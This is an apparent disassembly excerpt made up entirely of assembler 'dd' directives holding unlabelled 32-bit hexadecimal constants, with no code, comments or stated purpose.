		dd 10439A7Dh, 4DB1A18Bh, 1DC60E8h, 0E5C3E82Eh, 0B0F53Bh
		dd 50E408DDh, 0B78C40h,	17F45BE6h, 1991E093h, 0BA724418h
		dd 0FABB9429h, 67850446h, 909E90C9h, 3CC29324h,	838BD9C3h
		dd 466BB062h, 44E900EEh, 22F89170h, 5F4EE14Ah, 626C88h
		dd 96D627B2h, 84C07DC8h, 72F20702h, 4113FC8Ch, 0B313A360h
		dd 0B3E495ACh, 214E0004h, 7E9B09CBh, 0A840A3C5h, 6D882h
		dd 0D0541EA0h, 6E7B5546h, 0DECCA459h, 0F8273851h, 352BA490h
		dd 0CA562A07h, 804F9D78h, 18D626B8h, 90AE055Ch,	8275556Fh
		dd 2C6C4478h, 78C8950Ah, 0F1F886Eh, 21737AC1h, 0A0DB6C5Bh
		dd 4CCA1391h, 3F2248CEh, 0DF40E0B6h, 9D6FBD2h, 68C5E79Ah
		dd 0FC3B3421h, 10D8329Ch, 0A600490Ah, 4F4D821Ch, 0D600C36Eh
		dd 0E893BC63h, 585A8328h, 6C05484h, 0AD6B5CCAh,	1684E01h
		dd 9AB73FC6h, 40E9C870h, 0D0B409DDh, 74382D12h,	0F55C0B94h
		dd 54CA62CBh, 46449C80h, 4AE812FCh, 71D0CF52h, 0FBAB3Eh
		dd 8DFD4D61h, 0BE60C1B5h, 0CA711F7Ah, 84C06BA6h, 81437628h
		dd 11ADF640h, 5C29A5B3h, 65A82928h, 0A43A28D8h,	0C21C405Ch
		dd 230054AEh, 0F2BAEB58h, 0C3330EF8h, 12967198h, 6F249868h
		dd 0F2031000h, 6C061DFFh, 0E8915CE6h, 771CD280h, 477D09Ch
		dd 9A12E700h, 0F0CBEAFAh, 0A990298h, 34ED3902h,	62934FC1h
		dd 60DC009Ch, 7E5FC624h, 20830B5h, 26C96C2Ah, 0AE3D9D01h
		dd 0CCA5A0D9h, 0A01030A5h, 94006C55h, 9FF12837h, 72E542Ch
		dd 0E73BB2FAh, 315B2751h, 0CD1935C2h, 123031CAh, 0D2C05E64h
		dd 0CC756F3Bh, 8CCDA50Eh, 0E2EC85B2h, 7832A823h, 80B4B169h
		dd 0F123BE0Dh, 900968Ch, 44CA8ABAh, 77B2D0FAh, 0DD7C0162h
		dd 4FA17D67h, 0F83030FEh, 0F32560B0h, 764082FFh, 207131h
		dd 5D5AFD2Fh, 6000BDF3h, 0B327DFF9h, 12FBB7BBh,	0F2BE2B62h
		dd 0F768064h, 2710F5B2h, 1060264Ch, 0B93F90AFh,	36F9846Ah
		dd 0B4C24D69h, 0F2C71022h, 6490FD88h, 0ACB7B0E5h, 1A1CC0B8h
		dd 3C6BAA7h, 0E40C1340h, 7CC0B587h, 830636A4h, 343E1DBDh
		dd 6EB20370h, 22243B3Fh, 885A74C7h, 4804C990h, 0D1A80B93h
		dd 22494082h, 7478F84Ch, 2DA9F521h, 0B515E490h,	0A1E9A500h
		dd 0F7975C1h, 0A91D0FA6h, 40827AFFh, 0AC87AC88h, 0A2AB1544h
		dd 72304428h, 28F5F017h, 0E71FE40Eh, 22F6C3Eh, 0E01009CEh
		dd 18D7F1F0h, 50C2F77Fh, 7D097B80h, 19397172h, 7E0CB8D4h
		dd 0A8887A4Ah, 0FC220BACh, 6080889Bh, 385CE3DDh, 0D8F3FF28h
		dd 34B5991Fh, 2F8FACBh,	90D8D1C9h, 0E133B8h, 0AF49FE58h
		dd 0A7EAF9F6h, 94980D79h, 989554B2h, 5D2FDCh, 26074451h
		dd 0FC89555Bh, 0E8889099h, 0D011A7E2h, 0E05E810h, 0FBECAE03h
		dd 0B083502Dh, 0DF7D0CBAh, 2FBF40F8h, 0B87A7749h, 5F2C4BFCh
		dd 0E12614A1h, 4C8E0C24h, 0F424374Ah, 8B00D0B2h, 0BCF19284h
		dd 0A384551h, 0BE90094h, 382933ECh, 634A00FAh, 0E7CA4D22h
		dd 0F52C52Ah, 98C616A0h, 0D890B40Ah, 388BA645h,	10C66101h
		dd 0D837CCA4h, 3325763Dh, 9AD4A71Ch, 0B2EC298Dh, 4EE200EAh
		dd 75CA9972h, 881FDDAEh, 0ED42A427h, 42265F8Ah,	7347048h
		dd 942B90ABh, 54A547A0h, 5CB4C471h, 2062C128h, 0C192A95Fh
		dd 0F0312F0Ah, 0F0F2B818h, 0FA4624C0h, 0D811A0h, 0F4E34EF8h
		dd 0B6781886h, 0BF7A048Ch, 0CBF480A0h, 6F3D8DFBh, 6C938BE6h
		dd 9CE4FEh, 64F00346h, 0C7126E4Ah, 0A04E0C00h, 3D571A2Fh
		dd 0D3011815h, 925D40B6h, 0B4B00FB0h, 4C50585Ch, 27311430h
		dd 0FCC84A8Ch, 0E0D51FE2h, 3691455Ch, 9520C1BFh, 6AEE7018h
		dd 800124B2h, 719E3F33h, 133E7A30h, 70EC3078h, 0A372D5DCh
		dd 1429AF00h, 8222E33Eh, 119532CCh, 9424C648h, 4538A608h
		dd 2073209Dh, 6F220490h, 0C9D5614Ch, 982EF9CFh,	76497A28h
		dd 9C949D2Dh, 843BF600h, 0B5D255Ah, 34129FAAh, 20C1E587h
		dd 0E5A5C620h, 4F82670Ah, 2B0C8C1Eh, 49F690C9h,	214E1846h
		dd 0DC9EA770h, 2001F21h, 8761E36Bh, 962C11Eh, 0FC444092h
		dd 0CB31A890h, 9B718C00h, 2F5D2208h, 0D42C4CAAh, 0C080884Fh
		dd 2580284h, 8322F5F1h,	3F5B4861h, 570828h, 49E78436h
		dd 11C0BF7Dh, 0CB4A3107h, 1511C590h, 0C08281E0h, 1D59442Ah
		dd 944F90F8h, 25B48C8h,	15E4066Ah, 0D9C037ADh, 67011958h
		dd 5D605A53h, 0DFE4FEFCh, 90F8244Bh, 0A3E61378h, 97D13FACh
		dd 808F22Fh, 5A0C82B0h,	0C44040CFh, 0D080D9E3h,	29C63158h
		dd 41DDA588h, 2DF8614h,	0F13B22F7h, 20FD2486h, 45471040h
		dd 80107CD8h, 0C0925A94h, 29DC0237h, 0CC813186h, 0CBC7E80Ah
		dd 0F3C0F244h, 2B718D8h, 0EB43C031h, 4CE08D26h,	0C35CEE35h
		dd 8488975Ch, 41BA07C0h, 90D543A5h, 0F9ECD964h,	0B0417895h
		dd 0C792812h, 5DB080CFh
		dd 2F1090A4h, 50144C6Ah, 3977D4A8h, 414C79F5h, 1C25D2E8h
		dd 877CB4h, 93D417E9h, 80B37719h, 0DA4DBB03h, 0E18A9837h
		dd 9C722AA9h, 897C9724h, 8882F45Bh, 0FD01B382h,	777D08h
		dd 8535F209h, 29127C66h, 4C901880h, 32AC326h, 97C0F94Ch
		dd 609777EBh, 80830FACh, 267D8B1Dh, 0F80B3816h,	0EAF8C890h
		dd 78F77ADh, 5C04B963h,	6FEE50F8h, 2577B067h, 78A70B2Eh
		dd 7030DC3Bh, 0E97639CEh, 52BC9A1Eh, 581700C0h,	0CFE8A5C0h
		dd 0D62D575Fh, 17D6E2h,	0FEB7DABBh, 0D3009230h,	8A6F915Ch
		dd 2C85A79Fh, 4050903Eh, 0FFA85378h, 0B76F8F00h, 684D0214h
		dd 50C78C8h, 8B344FC2h,	2B60403Eh, 0C082F272h, 9DBEF000h
		dd 29682AECh, 3B9A3D59h, 30EAC893h, 22FFD110h, 6DA22600h
		dd 885D398Ah, 0E0315CBCh, 640CEC26h, 0FEAC4073h, 4183E3h
		dd 0E2142BD9h, 333EFC8Eh, 0CF57C1C4h, 0BEAFBE48h, 356603DCh
		dd 2B6395E3h, 6944E0C3h, 8C183B20h, 979C7CE5h, 254400A6h
		dd 0B847CCA1h, 0D23D73FAh, 324A12EBh, 0C8129435h, 95340490h
		dd 0FA580A53h, 812C2988h, 0FD63A4Dh, 7F74C045h,	0CE02C871h
		dd 58EC4A38h, 2BE2E178h, 17C984Ah, 2ABB7563h, 0D8B98F04h
		dd 3058925Fh, 427411BCh, 0C8ADB812h, 0C200E9E0h, 451F90B3h
		dd 993612Bh, 0E0B5FA20h, 844F6804h, 742CDC94h, 9CAA3A00h
		dd 72FD641h, 0C06E0621h, 89E69A4Bh, 0DD440498h,	99D30A3Eh
		dd 0A4D8F26Ch, 9490274Ch, 8527E30Ch, 9AC1280h, 9E745AD4h
		dd 90C847F0h, 0A4EFB2C3h, 37EBD002h, 52723BDBh,	7A940118h
		dd 90437622h, 24587229h, 0B242D080h, 986088A6h,	50920F60h
		dd 9A7B07E2h, 213B2794h, 7285225Eh, 12792170h, 2814D0A4h
		dd 0BD021358h, 2BAF7F21h, 5C20E6B8h, 80077436h,	0C9D1414Eh
		dd 0A732A484h, 6FC20004h, 411E1488h, 0E2300F7h,	83D161CEh
		dd 45121B38h, 0D0D43476h, 6F7C6CF3h, 0A782912Eh, 6CD17403h
		dd 0D2BDF400h, 7CB99454h, 0A17A186Ch, 67A0F62Fh, 0CBFB0304h
		dd 2CE93671h, 0B2CA7A12h, 85F500F4h, 0C90F4426h, 22551F13h
		dd 0C04BC764h, 0F142611Bh, 9498287Dh, 0F6173F17h, 372E3F00h
		dd 0DD88466Eh, 0F3CDEC79h, 0EC001033h, 11E1C238h, 0AE09D420h
		dd 0E63DED4Bh, 45560020h, 2E9235BDh, 15013E6Eh,	2B0128B7h
		dd 7472FD9Ah, 91A5B212h, 45F33B5Ch, 154B230h, 0E86D98ABh
		dd 2C6521AFh, 0B82891h,	898F4094h, 0F35C2BFCh, 7CCD0830h
		dd 0F35D027Ch, 57D330FDh, 0C9404056h, 14F975h, 0BF8C3693h
		dd 0FE570735h, 52A2C705h, 0B8829097h, 42005E5h,	229E4A4Ch
		dd 0A06E200Dh, 0DB0005CFh, 12B6B77Dh, 9BB6357h,	2CB25BB1h
		dd 40AC3E08h, 0D9210F4Ch, 7A1E7200h, 4079974h, 8FAC9C8Ah
		dd 9CF53771h, 0FEFC205Bh, 0A800246Ch, 294F3567h, 46F3DEh
		dd 0F0A055E4h, 8395C8EEh, 161D4B8h, 0D8189469h,	2F9A182h
		dd 18C019D9h, 9081B389h, 3D00E039h, 510D29C7h, 600E5D6h
		dd 0ECF14B59h, 554033Ah, 0C47DCCDh, 61B0A919h, 1899BF50h
		dd 0A85C412Ah, 0C4678C81h, 0D701E90Dh, 4F378BC7h, 0F023459Ah
		dd 5B7AED00h, 351EAAACh, 0C827B4Ah, 5F0D2070h, 2609968Dh
		dd 2DD8F08h, 402FCDB4h,	0AE47FD24h, 66D60F88h, 21E09C3Bh
		dd 0A2446E6Ch, 0ABDF0E00h, 22EC6BAEh, 2BAA179Eh, 0A4B241h
		dd 25E91198h, 12E66C44h, 0D071B202h, 1CB579E0h,	0C2702097h
		dd 3FC71106h, 97800474h, 0E5190513h, 0D705F1C9h, 8941339Fh
		dd 380BF417h, 4574812Bh, 2470162Eh, 93C928AFh, 6DEB007Ch
		dd 9C1A4723h, 3C13C251h, 50F2421Bh, 61A48700h, 0A0E88327h
		dd 3E9B4501h, 62EB47F1h, 81172816h, 2CC8E336h, 0FA0A00D3h
		dd 37394466h, 3F005A29h, 8EF2EAC7h, 4B8FF5Dh, 98C07D41h
		dd 1E44ECADh, 99C14009h, 0F210C590h, 0FA80B86Dh, 0BA3A6832h
		dd 0A7D1A400h, 200E2663h, 383009FBh, 0B08408B9h, 76284031h
		dd 0C96983Bh, 865A9103h, 2442A920h, 3B9D3861h, 61AC4C63h
		dd 189D839h, 0CA6A7015h, 0B8C4F918h, 0E69819h, 5C13721Eh
		dd 20D46F17h, 0C5409128h, 0BC8A0301h, 491C3071h, 0D6863C2Dh
		dd 1A16B427h, 3020D990h, 5A7887Ah, 5878C5DCh, 4A748001h
		dd 4D902AEBh, 1098B35Ah, 30565CE9h, 2E8AE300h, 0F611793h
		dd 894919EAh, 0BDF20410h, 0CAC5572h, 5614204Ah,	9093534h
		dd 74297504h, 0BF0E0037h, 670E7A5h, 0CD1F5812h,	0AF002CA2h
		dd 141B036h, 0CF00B5E9h, 0F56F13C8h, 5A81CA10h,	2B649121h
		dd 80282AC2h, 79C90131h, 0CF8B89A4h, 325C6D70h,	6194216Dh
		dd 203B317Ch, 380F9674h, 74AA111Fh, 99928A04h, 0D5E29CC0h
		dd 51411CFFh, 0BD70B2C9h, 1B452074h, 0F18A3CA4h, 0F637ADC0h
		dd 5F161C4Dh, 0A8997444h, 0A0A82D64h, 2AEA5460h, 5BC4B85Ch
		dd 0E80C8010h, 93598EBEh, 0C43A27DCh, 7C4AF054h, 583000F6h
		dd 60D8CB1Ah, 9101127Ch, 0DEAAC8A6h, 203F5CF9h,	1AD24540h
		dd 8DF55Ch, 82E05F02h, 0BBDD0BCh, 0E4A3B286h, 981BDC12h
		dd 523CEFE8h, 0E4472104h, 0ECB91CEDh, 7028CA00h, 0B31045Dh
		dd 963F8B76h, 56DB00E5h, 7657E82Ah, 7D6316BFh, 0B3F4C8D4h
		dd 58206E5Ah, 4FC942Ch,	1AD9FD56h, 0AD64C8A1h, 0C0959900h
		dd 0FB75A2F3h, 7D68028Dh, 0ABB330D8h, 5944F074h, 19789A63h
		dd 63F94500h, 4487C9C1h, 8A8D0F0Eh, 5E60BBCCh, 50548E46h
		dd 0A34C93EEh, 1D39C0C0h, 1811B9Dh, 4ABD4CE7h, 3366447Bh
		dd 0E3E80098h, 0B0AF34F5h, 5C1E006Ch, 59030FA0h, 13B5E7Ch
		dd 0DD0C97C0h, 0A8268808h, 50BA5B28h, 277EA23Ch, 20ECB359h
		dd 2518AA14h, 5C521C08h, 0D0CBD283h, 490DCACh, 4CD341E4h
		dd 0BFC0B8B3h, 9140909Ah, 24B62DF4h, 2F836545h,	99FE905Fh
		dd 22EE0140h, 0A7A28E19h, 9758E05Bh, 78B0B22Dh,	0C5A2602h
		dd 47914Ch, 44F26E3Bh, 27337158h, 0E4CC48D3h, 0D62E0E00h
		dd 6F7AA679h, 1CAEC23h,	4837C159h, 0E87052E0h, 389CA119h
		dd 0B098D8BEh, 7F5101Dh, 392FA731h, 0E1FC20CCh,	11059AC6h
		dd 765E540Bh, 524A849h,	0A8319998h, 284288BEh, 5F2020B6h
		dd 1AF86406h, 15AFE00Eh, 9083CA67h, 2BF9C581h, 0D43CCAC7h
		dd 3048C096h, 444CECE3h, 36F06294h, 0DE302CEEh,	0DF2D7688h
		dd 14B82A69h, 0DC22F530h, 4DA02822h, 0B0031DBFh, 0C4136C9Bh
		dd 124BF8D8h, 3E76001Eh, 0FC854260h, 109DD14Fh,	3FF70CE0h
		dd 7904F864h, 0C1972C86h, 7290FD40h, 54405E10h,	206A27D1h
		dd 762F1758h, 0C36C882Eh, 2915008Ch, 647A1758h,	6F0BB11Ah
		dd 0E465FBCAh, 23E500E0h, 8E4F7EA9h, 4639621Ch,	907AA781h
		dd 7D19430h, 657D0DB2h,	8361F003h, 0C5001852h, 5823BFD5h
		dd 0FCDDFFFh, 3BE59121h, 96C2217h, 442DF854h, 20EA0Ch
		dd 359CE062h, 229B36FDh, 38B94513h, 6418600Bh, 317CB4h
		dd 8229A6CAh, 3704D8F0h, 7F857401h, 0A4F1BB26h,	25AC212Fh
		dd 2C82C854h, 0F20041F2h, 46F7FD32h, 4BBD08Bh, 0CE7A745Dh
		dd 3D18E990h, 0F99A056Ah, 70AD8B55h, 0A820978Eh, 2C5E1409h
		dd 4800AA48h, 44B10A5Bh, 18ADD4F5h, 405038h, 7208E592h
		dd 298B454Ch, 69368504h, 0F6C7FD41h, 40A0C321h,	0B7377EF4h
		dd 7BB18002h, 0F680C209h, 81E04F70h, 0A45E7A56h, 0A7960E00h
		dd 82A8A6FEh, 0D89700C7h, 0BA4C7783h, 0B612BBB3h, 0A808F8FBh
		dd 40A0448Eh, 0A5FF2A6Dh, 0ACAF0FECh, 0A809817h, 1A72129Fh
		dd 3D9842F0h, 4D19D080h
		dd 0A05EBCAAh, 4F373B80h, 343A67Ch, 22AA2620h, 52A06EB2h
		dd 0D0036DEEh, 0F8A71EC1h, 0ED6FE181h, 0BF88C078h, 63EAE780h
		dd 1D9452F5h, 962D9792h, 40131EC8h, 0E4719BF1h,	6A00D4F9h
		dd 0E0FD29F2h, 7062ADh,	0F15DD68Ch, 9436EF64h, 5506E8ECh
		dd 7B37E903h, 62560020h, 0AC480932h, 9C0CAB69h,	1888FD5Bh
		dd 41341870h, 2D372961h, 0BF18F300h, 0EA88D67Ch, 478144A9h
		dd 12D4A500h, 0ACA7F49h, 5B790C2Fh, 8B219F02h, 49652336h
		dd 1310F160h, 756131DCh, 0AA1E8989h, 0D8A7B98Ah, 0D2373E50h
		dd 80F6C131h, 0F93910E0h, 0E228007Bh, 0AA6FD7E8h, 4000451Bh
		dd 0B1083F15h, 13C4AF3h, 0F97983CCh, 4130BC22h,	9F964124h
		dd 0E4C0D361h, 0AD73CD8Ah, 136400BAh, 3076E8A5h, 31C086E1h
		dd 46CFA329h, 0E5B9006Ch, 0F39DD322h, 3E00920Ah, 0D93C4319h
		dd 889CE178h, 7AE4EF95h, 9837B900h, 0F5262312h,	699C29AAh
		dd 830E0884h, 0C2D8B8Ah, 0B6130200h, 0A652FD9h,	92E5A7DCh
		dd 99108098h, 1F32212Bh, 0F0091300h, 0FC5BBE4Eh, 48A26390h
		dd 813BA1E1h, 0BD3B80FBh, 111BC2A9h, 0ABA21BB4h, 19C07152h
		dd 49198ECBh, 414888FCh, 6C208402h, 29896D2Bh, 1BCA0D5h
		dd 41CC1308h, 9AA9805Fh, 21392A2Ch, 0E98B00D2h,	75C9E8DFh
		dd 0FE0693E2h, 8788DEA7h, 1E8B18B9h, 76813958h,	753BE0A8h
		dd 8D45C700h, 10A9C02Eh, 0E7A71897h, 8BBB217Ah,	39602430h
		dd 1D3BFD0Ch, 697E9F9h,	29E6DBA7h, 0D98AAB31h, 9BD96A4Bh
		dd 35CC60h, 0C891833Fh,	0E2A77BFh, 5B7B9AA0h, 228AF005h
		dd 0C444EBF4h, 31408802h, 2C2DE0A3h, 10650100h,	0FC7CD945h
		dd 0C83201A1h, 80963413h, 0AFC85082h, 0B00DB02h, 532BD72Dh
		dd 74D63787h, 0ED60C82Fh, 0FA890283h, 44ABA278h, 6CA13998h
		dd 0AE556F96h, 0B3AAD01h, 59BE0964h, 93E869B1h,	0B6A442E6h
		dd 8814F029h, 0F0C75C8h, 813F4EF3h, 66DF0782h, 7DE59C48h
		dd 0A8301088h, 430CDCh,	7B0B8472h, 96078EF2h, 117118A9h
		dd 64244F84h, 7BE66Ch, 6F48F708h, 8CCCD158h, 0D669EE01h
		dd 7A6B9887h, 82E4024h,	59B9FC64h, 8300A591h, 0AC6F0833h
		dd 5562D8E2h, 0B889BFC8h, 652DD8h, 20F77C31h, 0B25F5532h
		dd 5A5ED702h, 40108211h, 5087E286h, 40D888FAh, 49D0D32Dh
		dd 64C9C0A8h, 16AB7C8h,	61C5B09Fh, 0EFD8E303h, 12CB3022h
		dd 21D98A84h, 0EE655BFCh, 63445066h, 3A9B12A2h,	81D82120h
		dd 306200ECh, 0C4360045h, 519A19E0h, 602834ADh,	8800B398h
		dd 56F48ECAh, 181F17F9h, 397F8154h, 400EC66h, 0BF0BAB34h
		dd 1F152Ah, 594E960h, 69CBCCD3h, 93EB3C09h, 41E82608h
		dd 0C8315599h, 984AC0Ch, 0C2D159EAh, 3F68420h, 3F2E13FDh
		dd 6D02B3EBh, 440A8909h, 0D9714414h, 0DDFC2250h, 823919DAh
		dd 11EDE7A4h, 9AF4105Bh, 66F6006Ah, 4FB42DB8h, 37EAC78Ch
		dd 7E5B290Fh, 0F35AC369h, 0E1311957h, 304459A7h, 0B13875A5h
		dd 1AF880D7h, 342BF0A5h, 6677622h, 1F8E30F6h, 0BE5831ABh
		dd 867B800Ch, 1DD9123h,	107769C2h, 2007BBB5h, 5360E1C4h
		dd 8E8A8B31h, 5CBF00B4h, 34196989h, 6801732Eh, 0A0153FA9h
		dd 9DF1DEE5h, 1F9408F0h, 0C999357Ah, 7410E3A7h,	0FD01069Bh
		dd 258B736Dh, 4C3776CDh, 5C8FF93Fh, 9454711Eh, 3A49F301h
		dd 0F8A441D9h, 0ED3B4CDEh, 4573845Ah, 108880C6h, 603507A5h
		dd 609BF4DDh, 0F9FEB50Eh, 8D284400h, 2C8AED8Ch,	0FDCA0EE3h
		dd 6FA53D09h, 8A40456h,	0E1F4289h, 0B13C6031h, 0E8C04CA6h
		dd 4AC3DC0h, 5200F0B7h,	2E6A727h, 2841B34Ch, 2F5C705Ah
		dd 5B5E8BF2h, 0B8021F07h, 7C3D2071h, 0F6217825h, 2B307850h
		dd 874D26F1h, 6890974h,	927A1810h, 801E9824h, 188BC7h
		dd 0AB907D2Dh, 0A4F8BEDCh, 0BA71CA01h, 89E09BB2h, 35094180h
		dd 0BC1B44DFh, 8055A63Ch, 4B9266E2h, 245CB5B7h,	0B50CAD5h
		dd 0F41264C3h, 1E1C4046h, 44EE7838h, 34015821h,	0BDA3E923h
		dd 22EC0820h, 4C0EABE1h, 0C01E796Ah, 9950AE5Dh,	1C126EFh
		dd 81891CCEh, 920B0967h, 84F82086h, 691F2084h, 96814090h
		dd 0F2B3E4FFh, 0C20718E8h, 1EC6C411h, 0E48096C7h, 919776h
		dd 6692E1BEh, 2DE68164h, 0DF214200h, 2A31EB7Ah,	551E0744h
		dd 46A53674h, 0C51D316Fh, 651EBBAEh, 6C904700h,	0D60CB2h
		dd 50055881h, 0C634E95Fh, 3136481Dh, 0C41003F8h, 847C0Bh
		dd 5CEA6540h, 53AE6219h, 17E7100h, 0EC1218A1h, 0AD27066Eh
		dd 60E242AFh, 5F75E700h, 19B044A7h, 149E00F9h, 0BEEE0A49h
		dd 0A8279446h, 790745Dh, 46889DD0h, 76FE38D4h, 0F6B19F60h
		dd 7E14C256h, 69877E92h, 790C1899h, 5E066521h, 8F4DCAFCh
		dd 0AA8D0C11h, 96216D76h, 1F19096Fh, 5EDF4805h,	0A870806h
		dd 0E1EEA71h, 12D66EE8h, 36B390A0h, 64E4A58Ah, 0C4149C0h
		dd 1C774CBh, 960DBF69h,	12E2580Fh, 0F89720E3h, 30E89E15h
		dd 0A0212300h, 0C32B0DDBh, 6C0E0A26h, 1E5C1AE1h, 0B5C8815Ah
		dd 800B3288h, 0B2130141h, 79FB4931h, 96DC1D0Dh,	20DE980Ah
		dd 48A056A5h, 0CB03504Dh, 0BF68E572h, 26410CDFh, 8861D67Ch
		dd 2CFA2528h, 19C18EF8h, 237870BDh, 83F2E8h, 0C9E37204h
		dd 0FF08622Fh, 4B581A01h, 48F910E1h, 8631E08Eh,	51A00791h
		dd 0EB405039h, 1C4E12A5h, 0CA38528Ch, 0F737C5h,	4270AE2Fh
		dd 0C91836BBh, 5DB84DB2h, 0A1409144h, 0B32B009Ch, 0F15FFF10h
		dd 9D1AC800h, 0C01CB17Bh, 0C17FC74h, 887C5ADDh,	641F3BB9h
		dd 75023330h, 7DA10652h, 2E1AAF00h, 7490AC7Ah, 0C6255800h
		dd 89C4FF77h, 64CB00ECh, 114E3031h, 0B7341E7Bh,	0AC0A89E5h
		dd 7048E02Dh, 21C87900h, 75598D19h, 0E80C005Ch,	0A52AD02Dh
		dd 0D5633B89h, 9E7629h,	7A043F49h, 0B9447046h, 19C06BF8h
		dd 3EF8CC73h, 81E255h, 0E584B6FEh, 0DB62DE38h, 7003DAFEh
		dd 319879C8h, 4219E03Fh, 0AAE409F5h, 5020A6AFh,	941B05C3h
		dd 9026670h, 7CFF7117h,	3CF090EBh, 962988DEh, 39A50737h
		dd 0A0885C44h, 677F4D5h, 5A61C672h, 2EF00823h, 808A593Dh
		dd 8DDAD552h, 1CB084F5h, 6D33CE6h, 281FDD82h, 3267200h
		dd 0FFE338F6h, 273003F0h, 0C2FC7C36h, 7ED52124h, 459E6131h
		dd 0F841CC11h, 4407119Ah, 7EEA2BAh, 0BD534D30h,	7B480061h
		dd 0F2CAF851h, 9E306C75h, 0BE72397Fh, 0A42B0064h, 188FAE60h
		dd 0F000D787h, 2099E976h, 0C0C8AB39h, 2CB97E28h, 27F4B8ECh
		dd 3E166900h, 78FF49E5h, 0D04B0711h, 0C09245C5h, 6429B8D8h
		dd 69252001h, 0B99E397Eh, 0D0FADCh, 9ABF6189h, 4704CDE9h
		dd 21094EAh, 27006CA3h,	15573486h, 0C10C9F59h, 7163962Ch
		dd 47311F9Eh, 64800748h, 80348711h, 46D8B7BFh, 0DA5900Ah
		dd 360024CEh, 72B8F81Eh, 0C0E37907h, 21D43088h,	0E501E61Bh
		dd 2C5115C5h, 618C73EAh, 7E080907h, 0B3BBFD00h,	3154A6C3h
		dd 193F0FBEh, 0A923B456h, 0E7C933FAh, 0B980406Ch, 6306FE84h
		dd 0C074925h, 1D680541h, 801B6EF8h, 0AAA04328h,	0FF24C5EEh
		dd 92006F45h, 20A648B9h, 7D90A82Ah, 0E06008Fh, 8278D8D2h
		dd 0E3006FF4h, 0D1494D37h, 0A0A3751Eh, 0C102077Ch, 6BEF5669h
		dd 0F61EF0B8h, 8E963700h, 836C9715h, 0FBE8063Fh, 0E16BF02Bh
		dd 43B58B03h, 0C823B24Dh, 72410879h, 21E30D30h,	28868BAh
		dd 342872B8h, 8B126587h, 0F83BEF30h, 0B12100C4h, 131172Fh
		dd 0D8039E03h, 209F28E8h
		dd 3DD10033h, 0E28EE1FDh, 10EC860Bh, 0E4169002h, 607EF3BFh
		dd 0EACBE8A5h, 6492312Ch, 17826D71h, 0A4934680h, 0B1D20138h
		dd 2FA203FEh, 0C528807Fh, 16477B61h, 0A85150D5h, 5FBA0024h
		dd 397AE148h, 51C34EF0h, 0C064993Bh, 3CE9C8C7h,	7200B943h
		dd 2DB03DEAh, 29C3D9DDh, 8207Eh, 3E30D579h, 2DAABA82h
		dd 2E6FB21Ch, 0CD9F4E40h, 1DDF768h, 0F006777Bh,	0A1EDE216h
		dd 0A787E441h, 5BF702C4h, 19776640h, 0F322003Eh, 0A8F89368h
		dd 8C93B78Dh, 71342700h, 5D31D61h, 16265FFEh, 814C1FE3h
		dd 0D9142A38h, 4EAF0DEh, 0AF0219C5h, 0E7482000h, 54162FFBh
		dd 91D21CEDh, 7A1188h, 0B2A85671h, 2EAAABh, 0B491BC37h
		dd 281FD9A7h, 8CD60D3Dh, 31E1CECCh, 0EE72816h, 6FAA2238h
		dd 3A63FEF8h, 0C1FF2A19h, 14413BE0h, 0DC1068A5h, 0E28B3243h
		dd 490CA2A7h, 0CCBC437Bh, 2B6C0E24h, 0D4AE5902h, 309FD440h
		dd 3914CE30h, 794807h, 99174FE5h, 37565238h, 9F0FE112h
		dd 9E6BC803h, 0DD200A86h, 628CE017h, 0D92311E4h, 51F6CEh
		dd 0F9440A5Fh, 51B1D173h, 0C750B00h, 0DB16ACE3h, 0BE5A0E9Fh
		dd 6A2AAED8h, 0BFE260F0h, 8303FE62h, 7B3790E5h,	7830D848h
		dd 10730C1h, 8AA97369h,	0F65AFD00h, 0DFD9C452h,	8D6D1BD0h
		dd 2AC04926h, 473ED417h, 838454F0h, 80C5A639h, 651CEF4Eh
		dd 0EE6AC84Ah, 0F7593FFFh, 3A39AF80h, 0CB869F4Ch, 71844905h
		dd 3C400645h, 33E61D2Ah, 0C60200E0h, 2DB8D9FDh,	10E3201Bh
		dd 7A6CF418h, 331A0019h, 0DF064A24h, 4F0147DAh,	4BEF52FFh
		dd 3207384h, 4434909Fh,	66FC568h, 0A6D7A0A9h, 0A70BBF3h
		dd 0BE6D6F8Ch, 0E9C18F6Ch, 0D047F584h, 0BA06E8F0h, 0B9E1DC00h
		dd 0B74AE4B8h, 48730AC6h, 1C856Dh, 0D9271ADEh, 899972Ch
		dd 0EF02FF13h, 61F7336Ah, 0D010604Ch, 0EA3C46BEh, 0ED187C5Dh
		dd 171806F4h, 0DC242586h, 88A10ED0h, 2C581607h,	2934159Eh
		dd 2F28B09Ch, 20CA8EC5h, 0E90330E8h, 0B5F14640h, 616AC42h
		dd 9CCC43E7h, 6EA03D40h, 71612013h, 7AEF2C51h, 806D4186h
		dd 0CE341935h, 18C07178h, 0C99D68h, 56E44164h, 40064443h
		dd 0FEE6C67Dh, 337BE11Dh, 5C28E59Ch, 0BD2EA602h, 60B8EAE2h
		dd 0FF046B4h, 0C6DC329Dh, 5DD9801Eh, 0F1621728h, 0AF00F499h
		dd 9093FC3Ch, 9B1C0321h, 717FF6F0h, 0DC81A4A2h,	207D0363h
		dd 0DB34C590h, 0DCC0F049h, 19DCD820h, 10D96A5Ch, 8708813Dh
		dd 11CF5913h, 751CC980h, 9806472Bh, 0A2BC610Ch,	9066399Fh
		dd 0EA1344B0h, 0D1BAFD00h, 2419E9ABh, 0D8521D92h, 1215C147h
		dd 309E8345h, 5504C6F4h, 667BCF34h, 88153CC8h, 0A4A83720h
		dd 0F403BDEBh, 0B288239Eh, 0A62EE054h, 19BE41Bh, 2920DF12h
		dd 841C856Eh, 6BB4731h,	0DB54C8h, 97ACD7AAh, 0D0B89242h
		dd 54F2A602h, 0C0704D45h, 0C06A535Ch, 0A13CE839h, 0D9F8ECF7h
		dd 4E0CF52h, 0C7F37CC0h, 237BCE80h, 5D31009Ah, 0D3439791h
		dd 0B817810Eh, 5000216Fh, 9EC56286h, 3A2C76C8h,	0EB17D215h
		dd 0D89C207Fh, 6D146E1Eh, 13C1FBFh, 0FB6B1282h,	0C70673h
		dd 70953AB9h, 0BA9FB156h, 1E5AC05Ch, 0BB858491h, 0BC00BDEEh
		dd 0CE341AACh, 4DFB887Dh, 91B0AF00h, 554A5AC9h,	50630002h
		dd 8819A912h, 2D052A6Ah, 59DEAF0h, 0E0E2B804h, 2C202E22h
		dd 3B0B24D9h, 2648A4FFh, 522FC48h, 0F65DA1FCh, 6A4612F4h
		dd 9165C44Eh, 49152018h, 1D4981DEh, 0BA6D1258h,	80D2F820h
